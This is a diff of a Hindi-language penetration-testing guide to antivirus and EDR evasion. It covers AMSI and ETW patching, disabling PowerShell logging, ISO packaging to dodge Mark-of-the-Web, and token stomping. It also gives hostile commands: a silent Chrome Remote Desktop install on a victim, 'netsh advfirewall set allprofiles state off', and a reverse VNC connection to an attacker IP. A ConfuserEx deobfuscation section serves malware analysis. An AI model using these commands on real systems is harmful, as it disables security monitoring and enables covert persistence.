|
||||
ध्यान रखें, कि यह संभवतः इस पोस्ट के प्रकाशित होने पर फ्लैग किया जाएगा, इसलिए यदि आपकी योजना अदृश्य रहने की है तो आपको कोई कोड प्रकाशित नहीं करना चाहिए।
|
||||
|
||||
**Memory Patching**
|
||||
|
||||
@ -196,7 +196,7 @@ $Spotfix.SetValue($null,$true)
|
||||
> [!TIP]
|
||||
> कृपया अधिक विस्तृत व्याख्या के लिए [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) पढ़ें।
|
||||
|
||||
AMSI को बायपास करने के लिए PowerShell का उपयोग करने के लिए कई अन्य तकनीकें भी हैं, [**इस पृष्ठ**](basic-powershell-for-pentesters/index.html#amsi-bypass) और [**इस रेपो**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) पर जाएं ताकि उनके बारे में अधिक जान सकें।
|
||||
AMSI को बायपास करने के लिए PowerShell का उपयोग करने के लिए कई अन्य तकनीकें भी हैं, [**इस पृष्ठ**](basic-powershell-for-pentesters/index.html#amsi-bypass) और [**इस रेपो**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) पर जाएं और उनके बारे में अधिक जानें।
|
||||
|
||||
यह उपकरण [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) भी AMSI को बायपास करने के लिए स्क्रिप्ट उत्पन्न करता है।
|
||||
|
||||
@ -206,7 +206,7 @@ AMSI को बायपास करने के लिए PowerShell का
|
||||
|
||||
**AV/EDR products that uses AMSI**
|
||||
|
||||
आप **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)** में AMSI का उपयोग करने वाले AV/EDR उत्पादों की सूची पा सकते हैं।
|
||||
आप **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)** में AMSI का उपयोग करने वाले AV/EDR उत्पादों की एक सूची पा सकते हैं।
|
||||
|
||||
**Use Powershell version 2**
|
||||
यदि आप PowerShell संस्करण 2 का उपयोग करते हैं, तो AMSI लोड नहीं होगा, इसलिए आप अपने स्क्रिप्ट को AMSI द्वारा स्कैन किए बिना चला सकते हैं। आप ऐसा कर सकते हैं:
|
||||
@ -215,29 +215,63 @@ powershell.exe -version 2
|
||||
```
|
||||
## PS Logging
|
||||
|
||||
PowerShell logging एक फीचर है जो आपको सिस्टम पर निष्पादित सभी PowerShell कमांड को लॉग करने की अनुमति देता है। यह ऑडिटिंग और समस्या निवारण के उद्देश्यों के लिए उपयोगी हो सकता है, लेकिन यह **हमलावरों के लिए एक समस्या हो सकती है जो पहचान से बचना चाहते हैं**।
|
||||
PowerShell लॉगिंग एक फीचर है जो आपको सिस्टम पर निष्पादित सभी PowerShell कमांड को लॉग करने की अनुमति देता है। यह ऑडिटिंग और समस्या निवारण के उद्देश्यों के लिए उपयोगी हो सकता है, लेकिन यह **हमलावरों के लिए एक समस्या हो सकती है जो पहचान से बचना चाहते हैं**।
|
||||
|
||||
PowerShell लॉगिंग को बायपास करने के लिए, आप निम्नलिखित तकनीकों का उपयोग कर सकते हैं:
|
||||
|
||||
- **PowerShell ट्रांसक्रिप्शन और मॉड्यूल लॉगिंग को निष्क्रिय करें**: आप इस उद्देश्य के लिए [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) जैसे टूल का उपयोग कर सकते हैं।
|
||||
- **Powershell संस्करण 2 का उपयोग करें**: यदि आप PowerShell संस्करण 2 का उपयोग करते हैं, तो AMSI लोड नहीं होगा, इसलिए आप अपने स्क्रिप्ट को AMSI द्वारा स्कैन किए बिना चला सकते हैं। आप ऐसा कर सकते हैं: `powershell.exe -version 2`
|
||||
- **एक unmanaged PowerShell सत्र का उपयोग करें**: [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) का उपयोग करें ताकि बिना सुरक्षा के PowerShell को स्पॉन किया जा सके (यह वही है जो Cobalt Strike से `powerpick` का उपयोग करता है)।
|
||||
- **एक unmanaged PowerShell सत्र का उपयोग करें**: [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) का उपयोग करें ताकि बिना सुरक्षा के PowerShell को स्पॉन किया जा सके (यह वही है जो Cobalt Strike से `powerpick` उपयोग करता है)।
|
||||
|
||||
## Obfuscation
|
||||
|
||||
> [!TIP]
|
||||
> कई ऑबफस्केशन तकनीकें डेटा को एन्क्रिप्ट करने पर निर्भर करती हैं, जो बाइनरी की एंट्रॉपी को बढ़ा देगी जिससे AVs और EDRs के लिए इसे पहचानना आसान हो जाएगा। इसके साथ सावधान रहें और शायद केवल अपने कोड के उन विशिष्ट भागों पर एन्क्रिप्शन लागू करें जो संवेदनशील हैं या जिन्हें छिपाने की आवश्यकता है।
|
||||
> कई ऑबफस्केशन तकनीकें डेटा को एन्क्रिप्ट करने पर निर्भर करती हैं, जो बाइनरी की एंट्रॉपी को बढ़ा देगी जिससे AVs और EDRs के लिए इसे पहचानना आसान हो जाएगा। इसके साथ सावधान रहें और शायद केवल अपने कोड के विशिष्ट अनुभागों पर एन्क्रिप्शन लागू करें जो संवेदनशील हैं या जिन्हें छिपाने की आवश्यकता है।
|
||||
|
||||
कई टूल हैं जो **C# स्पष्ट-टेक्स्ट कोड को ऑबफस्केट** करने, बाइनरी को संकलित करने के लिए **मेटाप्रोग्रामिंग टेम्पलेट** उत्पन्न करने या **संकलित बाइनरी को ऑबफस्केट** करने के लिए उपयोग किए जा सकते हैं जैसे:
|
||||
### Deobfuscating ConfuserEx-Protected .NET Binaries
|
||||
|
||||
- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): यह .NET अनुप्रयोगों के लिए एक शानदार ओपन-सोर्स ऑबफस्केटर है। यह नियंत्रण प्रवाह ऑबफस्केशन, एंटी-डीबगिंग, एंटी-टैम्परिंग, और स्ट्रिंग एन्क्रिप्शन जैसी विभिन्न सुरक्षा तकनीकों की पेशकश करता है। यह अनुशंसित है क्योंकि यह कोड के विशिष्ट टुकड़ों को ऑबफस्केट करने की अनुमति देता है।
|
||||
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# ऑबफस्केटर**
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): इस परियोजना का उद्देश्य [LLVM](http://www.llvm.org/) संकलन सूट का एक ओपन-सोर्स फोर्क प्रदान करना है जो [कोड ऑबफस्केशन](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) और टैम्पर-प्रूफिंग के माध्यम से सॉफ़्टवेयर सुरक्षा को बढ़ा सके।
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator दिखाता है कि कैसे `C++11/14` भाषा का उपयोग करके, संकलन समय पर, बिना किसी बाहरी टूल का उपयोग किए और बिना संकलक को संशोधित किए, ऑबफस्केटेड कोड उत्पन्न किया जा सकता है।
|
||||
- [**obfy**](https://github.com/fritzone/obfy): C++ टेम्पलेट मेटाप्रोग्रामिंग ढांचे द्वारा उत्पन्न ऑबफस्केटेड ऑपरेशनों की एक परत जोड़ें जो एप्लिकेशन को क्रैक करने की कोशिश कर रहे व्यक्ति के लिए जीवन को थोड़ा कठिन बना देगी।
|
||||
जब ConfuserEx 2 (या व्यावसायिक फोर्क) का उपयोग करने वाले मैलवेयर का विश्लेषण करते हैं, तो कई सुरक्षा परतों का सामना करना सामान्य है जो डिकंपाइलर्स और सैंडबॉक्स को ब्लॉक कर देंगी। नीचे दिया गया वर्कफ़्लो विश्वसनीय रूप से **एक लगभग-मूल IL को पुनर्स्थापित करता है** जिसे बाद में dnSpy या ILSpy जैसे टूल में C# में डिकंपाइल किया जा सकता है।
|
||||
|
||||
1. एंटी-टैम्पर हटाना – ConfuserEx हर *मेथड बॉडी* को एन्क्रिप्ट करता है और इसे *मॉड्यूल* स्थैतिक कंस्ट्रक्टर (`<Module>.cctor`) के अंदर डिक्रिप्ट करता है। यह PE चेकसम को भी पैच करता है ताकि कोई भी संशोधन बाइनरी को क्रैश कर दे। **AntiTamperKiller** का उपयोग करें ताकि एन्क्रिप्टेड मेटाडेटा टेबल्स को ढूंढा जा सके, XOR कुंजियों को पुनर्प्राप्त किया जा सके और एक साफ असेंबली को फिर से लिखा जा सके:
|
||||
```bash
|
||||
# https://github.com/wwh1004/AntiTamperKiller
|
||||
python AntiTamperKiller.py Confused.exe Confused.clean.exe
|
||||
```
|
||||
आउटपुट में 6 एंटी-टैम्पर पैरामीटर (`key0-key3`, `nameHash`, `internKey`) शामिल होते हैं जो आपके अपने अनपैकर बनाने में उपयोगी हो सकते हैं।
|
||||
|
||||
2. प्रतीक / नियंत्रण-प्रवाह पुनर्प्राप्ति – *साफ* फ़ाइल को **de4dot-cex** (de4dot का एक ConfuserEx-जानकारी वाला फोर्क) में फीड करें।
|
||||
```bash
|
||||
de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
|
||||
```
|
||||
फ्लैग:
|
||||
• `-p crx` – ConfuserEx 2 प्रोफ़ाइल का चयन करें
|
||||
• de4dot नियंत्रण-प्रवाह समतलीकरण को पूर्ववत करेगा, मूल नामस्थान, कक्षाएँ और चर नामों को पुनर्स्थापित करेगा और स्थायी स्ट्रिंग्स को डिक्रिप्ट करेगा।
|
||||
|
||||
3. प्रॉक्सी-कॉल स्ट्रिपिंग – ConfuserEx प्रत्यक्ष मेथड कॉल को हल्के रैपर (जिसे *प्रॉक्सी कॉल* भी कहा जाता है) के साथ बदलता है ताकि डिकंपाइलिंग को और तोड़ सके। उन्हें **ProxyCall-Remover** के साथ हटा दें:
|
||||
```bash
|
||||
ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
|
||||
```
|
||||
इस चरण के बाद आपको सामान्य .NET API जैसे `Convert.FromBase64String` या `AES.Create()` देखना चाहिए बजाय अपारदर्शी रैपर फ़ंक्शंस (`Class8.smethod_10`, …) के।
|
||||
|
||||
4. मैनुअल सफाई – परिणामस्वरूप बाइनरी को dnSpy के तहत चलाएँ, बड़े Base64 ब्लॉब्स या `RijndaelManaged`/`TripleDESCryptoServiceProvider` के उपयोग के लिए खोजें ताकि *वास्तविक* पेलोड को ढूंढा जा सके। अक्सर मैलवेयर इसे `<Module>.byte_0` के अंदर प्रारंभिक TLV-कोडित बाइट एरे के रूप में संग्रहीत करता है।
|
||||
|
||||
उपरोक्त श्रृंखला निष्क्रिय नमूने को चलाए बिना निष्पादन प्रवाह को पुनर्स्थापित करती है – ऑफ़लाइन वर्कस्टेशन पर काम करते समय उपयोगी।
|
||||
|
||||
> 🛈 ConfuserEx एक कस्टम एट्रिब्यूट उत्पन्न करता है जिसका नाम `ConfusedByAttribute` है जिसे IOC के रूप में उपयोग किया जा सकता है ताकि स्वचालित रूप से नमूनों की प्राथमिकता दी जा सके।
|
||||
|
||||
#### One-liner
|
||||
```bash
|
||||
autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially
|
||||
```
|
||||
---
|
||||
|
||||
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): इस प्रोजेक्ट का उद्देश्य [LLVM](http://www.llvm.org/) संकलन सूट का एक ओपन-सोर्स फोर्क प्रदान करना है जो [कोड ऑबफस्केशन](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) और टेम्पर-प्रूफिंग के माध्यम से सॉफ़्टवेयर सुरक्षा बढ़ा सके।
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator दिखाता है कि `C++11/14` भाषा का उपयोग करके, संकलन के समय, बिना किसी बाहरी उपकरण का उपयोग किए और बिना संकलक को संशोधित किए, ऑबफस्केटेड कोड कैसे उत्पन्न किया जा सकता है।
|
||||
- [**obfy**](https://github.com/fritzone/obfy): C++ टेम्पलेट मेटाप्रोग्रामिंग फ्रेमवर्क द्वारा उत्पन्न ऑबफस्केटेड ऑपरेशनों की एक परत जोड़ें जो एप्लिकेशन को क्रैक करने की कोशिश कर रहे व्यक्ति के लिए जीवन को थोड़ा कठिन बना देगी।
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz एक x64 बाइनरी ऑबफस्केटर है जो विभिन्न प्रकार की pe फ़ाइलों को ऑबफस्केट करने में सक्षम है, जिसमें: .exe, .dll, .sys शामिल हैं।
|
||||
- [**metame**](https://github.com/a0rtega/metame): Metame एक साधारण मेटामॉर्फिक कोड इंजन है जो मनमाने निष्पादन योग्य के लिए है।
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator एक बारीक-बारीक कोड ऑबफस्केशन ढांचा है जो ROP (रिटर्न-ओरिएंटेड प्रोग्रामिंग) का उपयोग करता है। ROPfuscator एक प्रोग्राम को असेंबली कोड स्तर पर ऑबफस्केट करता है, सामान्य नियंत्रण प्रवाह की हमारी स्वाभाविक धारणा को बाधित करता है।
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator एक बारीक-बारीक कोड ऑबफस्केशन फ्रेमवर्क है जो LLVM-समर्थित भाषाओं के लिए ROP (रिटर्न-ओरिएंटेड प्रोग्रामिंग) का उपयोग करता है। ROPfuscator एक प्रोग्राम को असेंबली कोड स्तर पर ऑबफस्केट करता है, सामान्य नियंत्रण प्रवाह की हमारी स्वाभाविक धारणा को बाधित करता है।
|
||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt एक .NET PE क्रिप्टर है जो Nim में लिखा गया है।
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor मौजूदा EXE/DLL को शेलकोड में परिवर्तित करने और फिर उन्हें लोड करने में सक्षम है।
|
||||
|
||||
@ -249,22 +283,22 @@ Microsoft Defender SmartScreen एक सुरक्षा तंत्र ह
|
||||
|
||||
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SmartScreen मुख्य रूप से एक प्रतिष्ठा-आधारित दृष्टिकोण के साथ काम करता है, जिसका अर्थ है कि असामान्य रूप से डाउनलोड की गई अनुप्रयोग SmartScreen को ट्रिगर करेगी, जिससे अंतिम उपयोगकर्ता को फ़ाइल निष्पादित करने से रोक दिया जाएगा (हालांकि फ़ाइल को अभी भी More Info -> Run anyway पर क्लिक करके निष्पादित किया जा सकता है)।
|
||||
SmartScreen मुख्य रूप से एक प्रतिष्ठा-आधारित दृष्टिकोण के साथ काम करता है, जिसका अर्थ है कि असामान्य रूप से डाउनलोड की गई अनुप्रयोग SmartScreen को सक्रिय करेगी, जिससे अंतिम उपयोगकर्ता को फ़ाइल निष्पादित करने से रोका जाएगा (हालांकि फ़ाइल को अभी भी More Info -> Run anyway पर क्लिक करके निष्पादित किया जा सकता है)।
|
||||
|
||||
**MoTW** (Mark of The Web) एक [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) है जिसका नाम Zone.Identifier है, जो इंटरनेट से फ़ाइलें डाउनलोड करते समय स्वचालित रूप से बनाया जाता है, साथ ही उस URL के साथ जिससे इसे डाउनलोड किया गया था।
|
||||
|
||||
<figure><img src="../images/image (237).png" alt=""><figcaption><p>इंटरनेट से डाउनलोड की गई फ़ाइल के लिए Zone.Identifier ADS की जांच करना।</p></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> यह ध्यान रखना महत्वपूर्ण है कि **विश्वसनीय** साइनिंग सर्टिफिकेट के साथ साइन की गई निष्पादन योग्य फ़ाइलें **SmartScreen को ट्रिगर नहीं करेंगी**।
|
||||
> यह ध्यान रखना महत्वपूर्ण है कि **विश्वसनीय** साइनिंग सर्टिफिकेट के साथ साइन की गई निष्पादन योग्य फ़ाइलें **SmartScreen को सक्रिय नहीं करेंगी**।
|
||||
|
||||
आपके पेलोड को Mark of The Web प्राप्त करने से रोकने का एक बहुत प्रभावी तरीका उन्हें किसी प्रकार के कंटेनर जैसे ISO के अंदर पैकेज करना है। ऐसा इसलिए होता है क्योंकि Mark-of-the-Web (MOTW) **non NTFS** वॉल्यूम पर लागू नहीं किया जा सकता है।
|
||||
आपके पेलोड को Mark of The Web से बचाने का एक बहुत प्रभावी तरीका उन्हें किसी प्रकार के कंटेनर जैसे ISO के अंदर पैकेज करना है। ऐसा इसलिए होता है क्योंकि Mark-of-the-Web (MOTW) **गैर NTFS** वॉल्यूम पर **लागू** नहीं किया जा सकता।
|
||||
|
||||
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) एक टूल है जो पेलोड को आउटपुट कंटेनरों में पैकेज करता है ताकि Mark-of-the-Web से बचा जा सके।
|
||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) एक उपकरण है जो पेलोड को आउटपुट कंटेनरों में पैकेज करता है ताकि Mark-of-the-Web से बचा जा सके।
|
||||
|
||||
उदाहरण उपयोग:
|
||||
Example usage:
|
||||
```bash
|
||||
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
|
||||
|
||||
@ -292,9 +326,9 @@ Adding file: /TotallyLegitApp.exe
|
||||
|
||||
## ETW
|
||||
|
||||
Event Tracing for Windows (ETW) एक शक्तिशाली लॉगिंग तंत्र है जो Windows में अनुप्रयोगों और सिस्टम घटकों को **इवेंट्स लॉग** करने की अनुमति देता है। हालाँकि, इसका उपयोग सुरक्षा उत्पादों द्वारा दुर्भावनापूर्ण गतिविधियों की निगरानी और पहचान के लिए भी किया जा सकता है।
|
||||
Windows के लिए इवेंट ट्रेसिंग (ETW) एक शक्तिशाली लॉगिंग तंत्र है जो अनुप्रयोगों और सिस्टम घटकों को **इवेंट्स लॉग** करने की अनुमति देता है। हालाँकि, इसका उपयोग सुरक्षा उत्पादों द्वारा दुर्भावनापूर्ण गतिविधियों की निगरानी और पहचान के लिए भी किया जा सकता है।
|
||||
|
||||
जैसे AMSI को अक्षम (बायपास) किया जाता है, वैसे ही उपयोगकर्ता स्थान प्रक्रिया के **`EtwEventWrite`** फ़ंक्शन को बिना किसी इवेंट को लॉग किए तुरंत लौटने के लिए भी बनाया जा सकता है। यह मेमोरी में फ़ंक्शन को पैच करके किया जाता है ताकि यह तुरंत लौट सके, प्रभावी रूप से उस प्रक्रिया के लिए ETW लॉगिंग को अक्षम कर देता है।
|
||||
जैसे AMSI को अक्षम (बायपास) किया जाता है, वैसे ही उपयोगकर्ता स्थान प्रक्रिया के **`EtwEventWrite`** फ़ंक्शन को बिना किसी इवेंट लॉग किए तुरंत लौटने के लिए भी बनाया जा सकता है। यह मेमोरी में फ़ंक्शन को पैच करके किया जाता है ताकि यह तुरंत लौट सके, प्रभावी रूप से उस प्रक्रिया के लिए ETW लॉगिंग को अक्षम कर देता है।
|
||||
|
||||
आप अधिक जानकारी पा सकते हैं **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) और [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**।
|
||||
|
||||
@ -314,7 +348,7 @@ C# बाइनरी को मेमोरी में लोड करना
|
||||
|
||||
- **Inline**
|
||||
|
||||
यह अपने स्वयं के प्रक्रिया में पोस्ट-एक्सप्लॉइटेशन दुर्भावनापूर्ण कोड को इंजेक्ट करने के बारे में है। इस तरह, आप एक नया प्रक्रिया बनाने और AV द्वारा स्कैन किए जाने से बच सकते हैं, लेकिन हानि यह है कि यदि आपके पेलोड के निष्पादन में कुछ गलत हो जाता है, तो **आपके बीकन को खोने की संभावना बहुत अधिक है** क्योंकि यह क्रैश हो सकता है।
|
||||
यह अपने पोस्ट-एक्सप्लॉइटेशन दुर्भावनापूर्ण कोड को **अपने ही प्रक्रिया में इंजेक्ट करने** के बारे में है। इस तरह, आप एक नया प्रक्रिया बनाने और AV द्वारा स्कैन किए जाने से बच सकते हैं, लेकिन हानि यह है कि यदि आपके पेलोड के निष्पादन में कुछ गलत हो जाता है, तो आपके **बीकन को खोने की संभावना बहुत अधिक है** क्योंकि यह क्रैश हो सकता है।
|
||||
|
||||
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -325,15 +359,15 @@ C# बाइनरी को मेमोरी में लोड करना
|
||||
|
||||
## अन्य प्रोग्रामिंग भाषाओं का उपयोग करना
|
||||
|
||||
जैसा कि [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) में प्रस्तावित किया गया है, यह अन्य भाषाओं का उपयोग करके दुर्भावनापूर्ण कोड निष्पादित करना संभव है, जिससे समझौता की गई मशीन को **हमलावर द्वारा नियंत्रित SMB शेयर पर स्थापित इंटरप्रेटर वातावरण तक पहुंच मिलती है**।
|
||||
जैसा कि [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) में प्रस्तावित किया गया है, यह अन्य भाषाओं का उपयोग करके दुर्भावनापूर्ण कोड निष्पादित करना संभव है, जिससे समझौता की गई मशीन को **हमलावर द्वारा नियंत्रित SMB शेयर पर स्थापित इंटरप्रेटर वातावरण तक पहुंच** मिलती है।
|
||||
|
||||
इंटरप्रेटर बाइनरी और SMB शेयर पर वातावरण तक पहुंच की अनुमति देकर आप **इन भाषाओं में समझौता की गई मशीन की मेमोरी में मनमाने कोड को निष्पादित कर सकते हैं**।
|
||||
इंटरप्रेटर बाइनरी और SMB शेयर पर वातावरण तक पहुंच की अनुमति देकर आप **इन भाषाओं में समझौता की गई मशीन की मेमोरी में मनमाना कोड निष्पादित कर सकते हैं।**
|
||||
|
||||
रेपो इंगित करता है: डिफेंडर अभी भी स्क्रिप्ट को स्कैन करता है लेकिन Go, Java, PHP आदि का उपयोग करके हमारे पास **स्थिर हस्ताक्षरों को बायपास करने के लिए अधिक लचीलापन है**। इन भाषाओं में यादृच्छिक अन-ऑबफस्केटेड रिवर्स शेल स्क्रिप्ट के साथ परीक्षण सफल साबित हुआ है।
|
||||
रेपो में संकेत दिया गया है: डिफेंडर अभी भी स्क्रिप्ट को स्कैन करता है लेकिन Go, Java, PHP आदि का उपयोग करके हमारे पास **स्थिर हस्ताक्षरों को बायपास करने के लिए अधिक लचीलापन है।** इन भाषाओं में यादृच्छिक अन-ऑबफस्केटेड रिवर्स शेल स्क्रिप्ट के साथ परीक्षण सफल साबित हुआ है।
|
||||
|
||||
## TokenStomping
|
||||
|
||||
Token stomping एक तकनीक है जो हमलावर को **एक्सेस टोकन या सुरक्षा उत्पाद जैसे EDR या AV को हेरफेर करने** की अनुमति देती है, जिससे उन्हें इसके विशेषाधिकार को कम करने की अनुमति मिलती है ताकि प्रक्रिया न मरे लेकिन इसके पास दुर्भावनापूर्ण गतिविधियों की जांच करने की अनुमति न हो।
|
||||
टोकन स्टॉम्पिंग एक तकनीक है जो हमलावर को **एक्सेस टोकन या सुरक्षा उत्पाद जैसे EDR या AV को हेरफेर करने** की अनुमति देती है, जिससे उन्हें इसके विशेषाधिकार को कम करने की अनुमति मिलती है ताकि प्रक्रिया न मरे लेकिन इसके पास दुर्भावनापूर्ण गतिविधियों की जांच करने की अनुमति न हो।
|
||||
|
||||
इससे बचने के लिए Windows **बाहरी प्रक्रियाओं** को सुरक्षा प्रक्रियाओं के टोकन पर हैंडल प्राप्त करने से रोक सकता है।
|
||||
|
||||
@ -348,7 +382,7 @@ Token stomping एक तकनीक है जो हमलावर को **
|
||||
जैसा कि [**इस ब्लॉग पोस्ट**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide) में वर्णित है, किसी पीसी पर Chrome Remote Desktop को तैनात करना और फिर इसका उपयोग करना और स्थिरता बनाए रखना आसान है:
|
||||
1. https://remotedesktop.google.com/ से डाउनलोड करें, "SSH के माध्यम से सेट अप करें" पर क्लिक करें, और फिर Windows के लिए MSI फ़ाइल पर क्लिक करें।
|
||||
2. पीड़ित (व्यवस्थापक की आवश्यकता) में चुपचाप इंस्टॉलर चलाएँ: `msiexec /i chromeremotedesktophost.msi /qn`
|
||||
3. Chrome Remote Desktop पृष्ठ पर वापस जाएँ और अगले पर क्लिक करें। विज़ार्ड फिर आपसे अधिकृत करने के लिए कहेगा; जारी रखने के लिए अधिकृत बटन पर क्लिक करें।
|
||||
3. Chrome Remote Desktop पृष्ठ पर वापस जाएँ और अगला क्लिक करें। विज़ार्ड फिर आपसे अधिकृत करने के लिए कहेगा; जारी रखने के लिए अधिकृत बटन पर क्लिक करें।
|
||||
4. कुछ समायोजनों के साथ दिए गए पैरामीटर को निष्पादित करें: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (ध्यान दें कि पिन पैरामीटर जो GUI का उपयोग किए बिना पिन सेट करने की अनुमति देता है)।
|
||||
|
||||
## उन्नत बचाव
|
||||
@ -363,7 +397,7 @@ Token stomping एक तकनीक है जो हमलावर को **
|
||||
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
|
||||
{{#endref}}
|
||||
|
||||
यह [@mariuszbit](https://twitter.com/mariuszbit) से बचाव की गहराई पर एक और शानदार वार्ता है।
|
||||
यह [@mariuszbit](https://twitter.com/mariuszbit) से बचाव में गहराई के बारे में एक और शानदार वार्ता है।
|
||||
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=IbA7Ung39o4
|
||||
@ -373,16 +407,16 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
|
||||
|
||||
### **जांचें कि डिफेंडर कौन से भागों को दुर्भावनापूर्ण मानता है**
|
||||
|
||||
आप [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) का उपयोग कर सकते हैं जो **बाइनरी के भागों को हटा देगा** जब तक कि यह **नहीं पता चलता कि डिफेंडर** किस भाग को दुर्भावनापूर्ण मानता है और इसे आपके लिए विभाजित करता है।\
|
||||
एक और उपकरण जो **समान कार्य करता है वह है** [**avred**](https://github.com/dobin/avred) जिसमें एक ओपन वेब सेवा है जो [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) में सेवा प्रदान करती है।
|
||||
आप [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) का उपयोग कर सकते हैं जो **बाइनरी के भागों को हटा देगा** जब तक कि यह **नहीं पता चलता कि डिफेंडर** किस भाग को दुर्भावनापूर्ण मानता है और इसे आपको विभाजित करता है।\
|
||||
एक और उपकरण जो **समान कार्य करता है वह है** [**avred**](https://github.com/dobin/avred) जिसमें [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) पर सेवा प्रदान की जाती है।
|
||||
|
||||
### **Telnet सर्वर**
|
||||
### **Telnet Server**
|
||||
|
||||
Windows10 तक, सभी Windows में एक **Telnet सर्वर** था जिसे आप (व्यवस्थापक के रूप में) स्थापित कर सकते थे:
|
||||
```bash
|
||||
pkgmgr /iu:"TelnetServer" /quiet
|
||||
```
|
||||
सिस्टम शुरू होने पर इसे **शुरू** करें और इसे अभी **चलाएं**:
|
||||
सिस्टम के शुरू होने पर इसे **शुरू** करें और इसे अभी **चलाएं**:
|
||||
```bash
|
||||
sc config TlntSVR start= auto obj= localsystem
|
||||
```
|
||||
@ -405,13 +439,13 @@ netsh advfirewall set allprofiles state off
|
||||
|
||||
#### **रिवर्स कनेक्शन**
|
||||
|
||||
**हमलावर** को अपने **होस्ट** के अंदर बाइनरी `vncviewer.exe -listen 5900` चलानी चाहिए ताकि यह रिवर्स **VNC कनेक्शन** को पकड़ने के लिए **तैयार** हो सके। फिर, **शिकार** के अंदर: winvnc डेमन `winvnc.exe -run` शुरू करें और `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900` चलाएं
|
||||
**हमलावर** को अपने **होस्ट** के अंदर बाइनरी `vncviewer.exe -listen 5900` चलानी चाहिए ताकि यह रिवर्स **VNC कनेक्शन** को पकड़ने के लिए **तैयार** हो सके। फिर, **शिकार** के अंदर: winvnc डेमन शुरू करें `winvnc.exe -run` और चलाएं `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
|
||||
|
||||
**चेतावनी:** गुप्तता बनाए रखने के लिए आपको कुछ चीजें नहीं करनी चाहिए
|
||||
|
||||
- यदि `winvnc` पहले से चल रहा है तो इसे शुरू न करें या आप [पॉपअप](https://i.imgur.com/1SROTTl.png) ट्रिगर करेंगे। जांचें कि यह चल रहा है `tasklist | findstr winvnc` के साथ
|
||||
- यदि `UltraVNC.ini` उसी निर्देशिका में नहीं है तो `winvnc` शुरू न करें या यह [कॉन्फ़िग विंडो](https://i.imgur.com/rfMQWcf.png) को खोलेगा
|
||||
- मदद के लिए `winvnc -h` न चलाएं या आप [पॉपअप](https://i.imgur.com/oc18wcu.png) ट्रिगर करेंगे
|
||||
- यदि `winvnc` पहले से चल रहा है तो इसे शुरू न करें या आप [पॉपअप](https://i.imgur.com/1SROTTl.png) को ट्रिगर करेंगे। जांचें कि यह चल रहा है `tasklist | findstr winvnc`
|
||||
- यदि उसी निर्देशिका में `UltraVNC.ini` नहीं है तो `winvnc` शुरू न करें या यह [कॉन्फ़िग विंडो](https://i.imgur.com/rfMQWcf.png) को खोल देगा
|
||||
- मदद के लिए `winvnc -h` न चलाएं या आप [पॉपअप](https://i.imgur.com/oc18wcu.png) को ट्रिगर करेंगे
|
||||
|
||||
### GreatSCT
|
||||
|
||||
@ -526,7 +560,7 @@ catch (Exception err) { }
|
